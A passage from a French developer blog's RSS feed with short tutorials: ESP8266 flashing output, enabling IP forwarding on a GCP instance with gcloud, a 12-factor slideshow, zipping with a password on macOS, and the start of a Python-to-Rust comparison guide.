BSS    : 25608 )         - zeroed variables      (global, static) in RAM/HEAP 

Sketch uses 260953 bytes (24%) of program storage space. Maximum is 1044464 bytes.
Global variables use 27980 bytes (34%) of dynamic memory, leaving 53940 bytes for local variables. Maximum is 81920 bytes.
esptool.py v3.0
Serial port COM3
Connecting....
Chip is ESP8266EX
Features: WiFi
Crystal is 26MHz
MAC: bc:ff:4d:f9:76:7a
Uploading stub...
Running stub...
Stub running...
Configuring flash size...
Auto-detected Flash size: 4MB
Compressed 265104 bytes to 195077...
Writing at 0x00000000... (8 %)
Writing at 0x00004000... (16 %)
Writing at 0x00008000... (25 %)
Writing at 0x0000c000... (33 %)
Writing at 0x00010000... (41 %)
Writing at 0x00014000... (50 %)
Writing at 0x00018000... (58 %)
Writing at 0x0001c000... (66 %)
Writing at 0x00020000... (75 %)
Writing at 0x00024000... (83 %)
Writing at 0x00028000... (91 %)
Writing at 0x0002c000... (100 %)
Wrote 265104 bytes (195077 compressed) at 0x00000000 in 17.7 seconds (effective 120.1 kbit/s)...
Hash of data verified.

Leaving...
Hard resetting via RTS pin...
</code></pre><p>Une fois votre code compilé et uploadé sur l&rsquo;esp, retirer le cable entre IO0 et GND et cliquer sur le bouton reset sur la board.
Et voilà, le relais et une LED vont s&rsquo;activer et se désactiver toutes les 5s.</p>
<br/>
<h2 id="drivers-pour-osx">Drivers pour OSX</h2>
<p>Pour OSX, j&rsquo;ai utilisé le driver <code>PL2303HXD_G_Mac Driver_v2.1.0_20210311.zip</code> disponible sur <a href="https://www.prolific.com.tw/US/ShowProduct.aspx?p_id=229&amp;pcid=41">https://www.prolific.com.tw/US/ShowProduct.aspx?p_id=229&pcid=41</a></p>
]]></content>
        </item>
        
        <item>
            <title>Activer l&#39;IP forwarding sur une instance GCP après sa création</title>
            <link>https://leandeep.com/activer-lip-forwarding-sur-une-instance-gcp-apr%C3%A8s-sa-cr%C3%A9ation/</link>
            <pubDate>Sun, 20 Nov 2022 09:22:00 +0000</pubDate>
            
            <guid>https://leandeep.com/activer-lip-forwarding-sur-une-instance-gcp-apr%C3%A8s-sa-cr%C3%A9ation/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article très rapide nous allons voir comment activer l&amp;rsquo;IP forwarding sur une instance GCP déjà créée. L&amp;rsquo;idée est d&amp;rsquo;éviter de l&amp;rsquo;effacer et de la recréer comme on peut le voir dans trop d&amp;rsquo;articles&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;exporter-la-config-de-votre-vm&#34;&gt;Exporter la config de votre VM&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;./gcloud compute instances export instance-name \
    --project VOTRE-PROJET \
    --zone LA-ZONE-CONTENANT-VOTRE-VM \
    --destination=instance-name_export
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;modification-de-la-config-exportéee&#34;&gt;Modification de la config exportéee&lt;/h2&gt;
&lt;p&gt;Editer le fichier &lt;code&gt;instance-name_export&lt;/code&gt; et changer &lt;code&gt;canIpForward: false&lt;/code&gt; par &lt;code&gt;canIpForward: true&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article très rapide nous allons voir comment activer l&rsquo;IP forwarding sur une instance GCP déjà créée. L&rsquo;idée est d&rsquo;éviter de l&rsquo;effacer et de la recréer comme on peut le voir dans trop d&rsquo;articles</p>
<br/>
<h2 id="exporter-la-config-de-votre-vm">Exporter la config de votre VM</h2>
<pre tabindex="0"><code>./gcloud compute instances export instance-name \
    --project VOTRE-PROJET \
    --zone LA-ZONE-CONTENANT-VOTRE-VM \
    --destination=instance-name_export
</code></pre><br/>
<h2 id="modification-de-la-config-exportéee">Modification de la config exportéee</h2>
<p>Editer le fichier <code>instance-name_export</code> et changer <code>canIpForward: false</code> par <code>canIpForward: true</code></p>
<br/>
<h2 id="update-de-votre-instance">Update de votre instance</h2>
<pre tabindex="0"><code>./gcloud compute instances update-from-file instance-name \
    --project VOTRE-PROJET \
    --zone LA-ZONE-CONTENANT-VOTRE-VM \
    --source=instance-name_export
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Ma présentation des 12 factors</title>
            <link>https://leandeep.com/ma-pr%C3%A9sentation-des-12-factors/</link>
            <pubDate>Mon, 14 Nov 2022 21:51:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ma-pr%C3%A9sentation-des-12-factors/</guid>
            <description>&lt;p&gt;Open source présentation rapidement réalisée pour parler des 12 facteurs. C&amp;rsquo;est un résumé du site &lt;a href=&#34;https://12factor.net/&#34;&gt;https://12factor.net/&lt;/a&gt;&lt;/p&gt;

    &lt;iframe
        src=&#34;//www.slideshare.net/slideshow/embed_code/key/bOT9DGrMzcCjrz&#34;
        title=&#34;SlideShare Presentation&#34;
        height=&#34;485&#34;
        width=&#34;595&#34;
        frameborder=&#34;0&#34;
        marginwidth=&#34;0&#34;
        marginheight=&#34;0&#34;
        scrolling=&#34;no&#34;
        style=&#34;border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;&#34;
        allowfullscreen=&#34;true&#34;&gt;
    &lt;/iframe&gt;</description>
            <content type="html"><![CDATA[<p>Open source présentation rapidement réalisée pour parler des 12 facteurs. C&rsquo;est un résumé du site <a href="https://12factor.net/">https://12factor.net/</a></p>

    <iframe
        src="//www.slideshare.net/slideshow/embed_code/key/bOT9DGrMzcCjrz"
        title="SlideShare Presentation"
        height="485"
        width="595"
        frameborder="0"
        marginwidth="0"
        marginheight="0"
        scrolling="no"
        style="border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;"
        allowfullscreen="true">
    </iframe>





]]></content>
        </item>
        
        <item>
            <title>Zipper un dossier avec mot de passe sur OSX</title>
            <link>https://leandeep.com/zipper-un-dossier-avec-mot-de-passe-sur-osx/</link>
            <pubDate>Sun, 13 Nov 2022 19:22:00 +0000</pubDate>
            
            <guid>https://leandeep.com/zipper-un-dossier-avec-mot-de-passe-sur-osx/</guid>
            <description>&lt;p&gt;Le tip le plus rapide de l&amp;rsquo;année.&lt;/p&gt;
&lt;p&gt;Pour créer un Zip protégé par mot de passe sur OSX et sans outil supplémentaire, il suffit d&amp;rsquo;exécuter la commande suivante: &lt;code&gt;zip -er archive.zip dossier&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Et voilà c&amp;rsquo;est tout. L&amp;rsquo;article de l&amp;rsquo;année ! 😜&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Le tip le plus rapide de l&rsquo;année.</p>
<p>Pour créer un Zip protégé par mot de passe sur OSX et sans outil supplémentaire, il suffit d&rsquo;exécuter la commande suivante: <code>zip -er archive.zip dossier</code></p>
<br/>
<p>Et voilà c&rsquo;est tout. L&rsquo;article de l&rsquo;année ! 😜</p>
]]></content>
        </item>
        
        <item>
            <title>Rust pour développeurs Python</title>
            <link>https://leandeep.com/rust-pour-d%C3%A9veloppeurs-python/</link>
            <pubDate>Sun, 23 Oct 2022 07:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/rust-pour-d%C3%A9veloppeurs-python/</guid>
            <description>&lt;p&gt;Petit guide rapide pour les &lt;code&gt;Pythonistas&lt;/code&gt; souhaitant devenir &lt;code&gt;Rustaceans&lt;/code&gt;.&lt;/p&gt;
&lt;br/&gt;


&lt;div style=&#34;width: 100%; float: left; position: relative;&#34;&gt;
  
  &lt;div style=&#34;float: left; width: 49%;&#34;&gt;
    &lt;div style=&#34;width:100%; text-align: center;&#34;&gt;&lt;b&gt;&lt;u&gt;Python&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;1. Conventions et guidelines&lt;/b&gt;
      &lt;br/&gt;
      &lt;a href=&#34;https://www.python.org/dev/peps/pep-0008/&#34;&gt;PEP8&lt;/a&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;2. Tooling&lt;/b&gt;
      &lt;br/&gt;
      &lt;ul&gt;
      &lt;li&gt;requirements.txt&lt;/li&gt;
      &lt;li&gt;setup.py&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.org/&#34;&gt;PyPI&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/pip&#34;&gt;pip&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/setuptools&#34;&gt;setuptools&lt;/a&gt; &amp; &lt;a href=&#34;https://python-poetry.org/&#34;&gt;poetry&lt;/a&gt; pour distribuer des libs&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/pipenv&#34;&gt;pipenv&lt;/a&gt; pour la gestion des dépendances&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/twine&#34;&gt;twine&lt;/a&gt; pour uploader un package&lt;/li&gt;
      &lt;li&gt;venv pour isoler un env&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/pyenv/pyenv-installer&#34;&gt;pyenv&lt;/a&gt; pour gérer ≠ versions de Python&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://docs.python.org/library/pydoc.html&#34;&gt;pydoc&lt;/a&gt; &amp; &lt;a href=&#34;https://pypi.python.org/pypi/sphinx&#34;&gt;Sphinx&lt;/a&gt; pour générer la doc&lt;/li&gt;
      &lt;li&gt;Python pour interpréter/ compiler&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/ipython&#34;&gt;ipython&lt;/a&gt; comme REPL&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/ipdb&#34;&gt;ipdb&lt;/a&gt; pour debugguer&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;3. Librairies et frameworks&lt;/b&gt;
      &lt;br/&gt;
      &lt;ul&gt;
      &lt;li&gt;urllib&lt;/li&gt;
      &lt;li&gt;requests&lt;/li&gt;
      &lt;li&gt;json&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/pyyaml&#34;&gt;pyYAML&lt;/li&gt;
      &lt;li&gt;csv&lt;/li&gt;
      &lt;li&gt;datetime &amp; &lt;a href=&#34;https://pypi.python.org/pypi/dateutils&#34;&gt;dateutils&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/click&#34;&gt;click&lt;/a&gt; &amp; &lt;a href=&#34;https://pypi.python.org/pypi/argparse&#34;&gt;argparse&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/docopt&#34;&gt;&lt;/a&gt;docopt&lt;/li&gt;
      &lt;li&gt;re&lt;/li&gt;
      &lt;li&gt;subprocess&lt;/li&gt;
      &lt;li&gt;multiprocessing&lt;/li&gt;
      &lt;li&gt;logging&lt;/li&gt;
      &lt;li&gt;pathlib&lt;/li&gt;
      &lt;li&gt;pickle&lt;/li&gt;
      &lt;li&gt;heapq&lt;/li&gt;
      &lt;li&gt;flask&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/cryptography&#34;&gt;cryptography&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/pymongo&#34;&gt;pymongo&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://pypi.python.org/pypi/jinja2&#34;&gt;jinja2&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;http://www.pyside.org/&#34;&gt;pyside&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;pytest&lt;/li&gt;
      &lt;li&gt;Flake8&lt;/li&gt;
      &lt;li&gt;Black&lt;/li&gt;
      &lt;li&gt;itertools&lt;/li&gt;
      &lt;li&gt;celery&lt;/li&gt;
      &lt;li&gt;boto&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;4. Python like features&lt;/b&gt;
      &lt;br/&gt;
      &lt;ul&gt;
      &lt;li&gt;dict&lt;/li&gt;
      &lt;li&gt;constructor avec valeurs par défaut&lt;/li&gt;
      &lt;li&gt;itertools&lt;/li&gt;
      &lt;li&gt;hashlib&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;5. Hello world&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;if __name__ == &#34;__main__&#34;:
    print(&#34;Hello, World&#34;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;br/&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;6. Types&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;age = 33
name = &#39;olivier&#39;
weight = 75.3
cartoons = [&#39;riri&#39;, &#39;fifi&#39;, &#39;loulou&#39;]
ages = {
    &#39;riri&#39;: 7,
    &#39;fifi&#39;: 7,
    &#39;loulou&#39;: 7,
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;7. Fonctions&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;def substract(a: int, b: int) -&gt; int:
    &#34;&#34;&#34;Substracts b from a&#34;&#34;&#34;
    return a - b&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;br/&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;8. Manipulation de listes&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;

cartoons = [&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;]
print(cartoons[0])  # riri
cartoons.append(&#34;donald&#34;)
print(len(cartoons))  # 4
print(cartoons[2:])  # [&#34;loulou&#34;, &#34;donald&#34;]

for cartoon in cartoons:
    print(cartoon)

for i, cartoon in enumerate(cartoons):
    print(f&#34;{cartoon} at {i}&#34;)

# Lexicographical order
cartoons.sort()

# Reversed lexicographical order
cartoons.sort(reverse=True)

# Sort by length
cartoons.gpg(key=len)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;br/&gt;&lt;br/&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;9. Range&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;for i in range(0,6,2):
   print(i) # 0, 2, 4
    &lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;10. Manipulation de dictionnaires (hash map)&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;# Create new dict
cartoons_age = {}
cartoons_age[&#34;riri&#34;] = 7
cartoons_age[&#34;fifi&#34;] = 7
cartoons_age[&#34;loulou&#34;] = 7

# or using for loop
cartoons_age = {}
for cartoon, age in [(&#34;riri&#34;, 7), (&#34;fifi&#34;, 7), (&#34;loulou&#34;, 7)]:
    cartoons_age[cartoon] = age

# or using a list
cartoons_age = dict([(&#34;riri&#34;, 7), (&#34;fifi&#34;, 7), (&#34;loulou&#34;, 7)])

# or using key values
cartoons_age = {
    &#34;riri&#34;: 7,
    &#34;fifi&#34;: 7,
    &#34;loulou&#34;: 7,
}

cartoons_age[&#34;donald&#34;] = 45
print(cartoons_age[&#34;riri&#34;])  # 7
print(&#34;riri&#34; in cartoons_age)  # True

del cartoons_age[&#34;loulou&#34;]

for cartoon in cartoons_age:  # Keys
    print(cartoon)

for cartoon, age in cartoons_age.items():  # Keys &amp; values
    print(f&#34;{cartoon} is {age} years old&#34;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;11. Lire contenu d&#39;un fichier&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;from pathlib import Path

with Path(&#34;/tmp/mon_fichier.txt&#34;).open() as fp:
    #  Iterate over lines
    for line in fp:
        print(line.strip())&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;12. Exceptions/ Retour d&#39;erreur&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;def div(a, b):
    if b == 0:
        raise ValueError(&#34;Division par 0 impossible&#34;)
    return a / b

try:
    div(1, 0)
except ValueError:
    print(&#39;Oops an error occurred!&#39;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;13. &#34;Printer&#34; des objets&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;class Cartoon:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __repr__(self):
      return str(self.__dict__)

riri = Cartoon(
    name=&#39;Riri&#39;,
    age=7,
)

print(&#39;{!r}&#39;.format(riri))  
# {&#39;name&#39;: &#39;Riri&#39;, &#39;age&#39;: 7}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;br/&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;14. Set (hashSet)&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;
cartoons = set()
cartoons.add(&#34;riri&#34;)
cartoons.add(&#34;fifi&#34;)
cartoons.add(&#34;loulou&#34;)
cartoons.add(&#34;loulou&#34;)

# or using literal syntax
cartoons = {&#39;riri&#39;, &#39;fifi&#39;, &#39;loulou&#39;, &#39;loulou&#39;}

# or using an iterator
cartoons = set([&#39;riri&#39;, &#39;fifi&#39;, &#39;loulou&#39;, &#39;loulou&#39;])

# Manipulation sur les sets
cartoons = {&#39;riri&#39;, &#39;fifi&#39;, &#39;loulou&#39;, &#39;donald&#39;, &#39;picsou&#39;}
some_cartoons = {&#34;donald&#34;, &#34;picsou&#34;}

# difference
print(cartoons.difference(some_cartoons))
# {&#39;riri&#39;, &#39;fifi&#39;, &#39;loulou&#39;}

# intersection
print(cartoons.intersection(some_cartoons))  
# {&#39;donald&#39;, picsou}

# union
print(cartoons.union(some_cartoons))
# {&#39;riri&#39;, &#39;fifi&#39;, &#39;loulou&#39;, &#39;donald&#39;, &#39;picsou&#39;}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;br/&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;15. while et for loops&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;# While loop
counter = 0
while counter &lt; 10:
    print(counter)
    counter += 1

# infinite while loop
while True:
    print(&#34;Infinite loop&#34;)

# infinite while loop with break
counter = 0
while True:
    print(counter)
    counter += 1
    if counter &gt;= 10:
        break


# while loop with continue
counter = 0
while True:
    counter += 1
    if counter == 5:
        continue
    print(counter)
    if counter &gt;= 10:
        break

# For loop over a list
for cartoon in [&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;]:
    print(cartoon)

# Enumerating indexes
for  i, cartoon in enumerate([&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;]):
    print(f&#34;{cartoon} at index {i}&#34;)

# For in a range
for number in range(0, 100):
    print(number)  # from 0 to 99
&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;16. Flask vs Rocket&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;from flask import Flask

app = Flask(__name__)


@app.route(&#39;/&#39;)
def index():
    return &#39;Hello Python&#39;


if __name__ == &#39;__main__&#39;:
    app.run(port=8080)
&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;17. Request vs Reqwest&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;import requests

url = &#39;https://httpbin.org/ip&#39;

try:
    resp = requests.get(url)
except HTTPError as err:
    msg = f&#34;error: cannot get {url} - {err}&#34;
    raise SystemExit(msg)

assert resp.status_code == 200

print(f&#34;The response content is: {resp.content}&#34;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;18. JSON encoding decoding&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;import json

# Decode/Deserialize
cartoon_data = &#39;&#39;&#39;{
    &#34;name&#34;: &#34;riri&#34;,
    &#34;age&#34;: 7
}&#39;&#39;&#39;

cartoon = json.loads(cartoon_data)

# Do things like with any other Python data structure
print(f&#34;{cartoon[&#39;name&#39;]} was born {cartoon[&#39;age&#39;]} years ago&#34;)

# Encode/Serialize
serialized = json.dumps(obj)
print(f&#34;The serialized value is: {serialized}&#34;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;br/&gt;&lt;br/&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;19. Object oriented&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;class Soldier:
    def __init__(self, name: str):
        self.name = name

    def present(self, other_family_name: str):
        print(f&#34;Hi M. {other}, I&#39;m solider {self.name}&#34;)

# ...

soldier = Soldier(&#34;Ryan&#34;)
soldier.present(&#34;Bond&#34;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;

  &lt;/div&gt;

  &lt;!-- --&gt;
  &lt;!-- --&gt;
  &lt;!-- --&gt;

  &lt;div style=&#34;float: right; width: 49%;&#34;&gt;
    &lt;div style=&#34;width:100%; text-align: center;&#34;&gt;&lt;b&gt;&lt;u&gt;Rust&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;1. Conventions et guidelines&lt;/b&gt;
      &lt;br/&gt;
&lt;a href=&#34;https://rust-lang-nursery.github.io/api-guidelines/&#34;&gt;RustAPI Guidelines&lt;/a&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;2. Tooling&lt;/b&gt;
      &lt;br/&gt;
      &lt;ul&gt;
      &lt;li&gt;Cargo.toml&lt;/li&gt;
      &lt;li&gt;Cargo.toml&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;http://crates.io/&#34;&gt;Crates.io&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;http://doc.crates.io/&#34;&gt;Cargo&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;http://doc.crates.io/&#34;&gt;Cargo&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;http://doc.crates.io/&#34;&gt;Cargo&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;http://doc.crates.io/&#34;&gt;Cargo&lt;/a&gt; &amp; &lt;a href=&#34;https://github.com/semantic-rs/semantic-rs&#34;&gt;Semantic&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;http://doc.crates.io/&#34;&gt;Cargo&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://www.rustup.rs/&#34;&gt;Rustup&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://doc.rust-lang.org/stable/rustdoc/&#34;&gt;Rustdoc&lt;/a&gt; &amp; Cargo&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://doc.rust-lang.org/1.1.0/rustc/&#34;&gt;rustc&lt;/a&gt; &amp; Cargo&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/murarth/rusti&#34;&gt;rusti&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/rust-lang/rust/blob/master/src/etc/rust-gdb&#34;&gt;rust-gdb&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;3. Librairies et frameworks&lt;/b&gt;
      &lt;br/&gt;
      &lt;ul&gt;
      &lt;li&gt;&lt;a href=&#34;https://crates.io/crates/hyper&#34;&gt;hyper&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/seanmonstar/reqwest&#34;&gt;reqwest&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/serde-rs/serde&#34;&gt;serde&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/serde-rs/serde&#34;&gt;serde&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/BurntSushi/rust-csv&#34;&gt;rust-csv&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/chronotope/chrono&#34;&gt;Chrono&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/kbknapp/clap-rs&#34;&gt;clap&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/docopt/docopt.rs&#34;&gt;docopt&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/rust-lang/regex&#34;&gt;regex&lt;/a&gt;&lt;/li&gt;
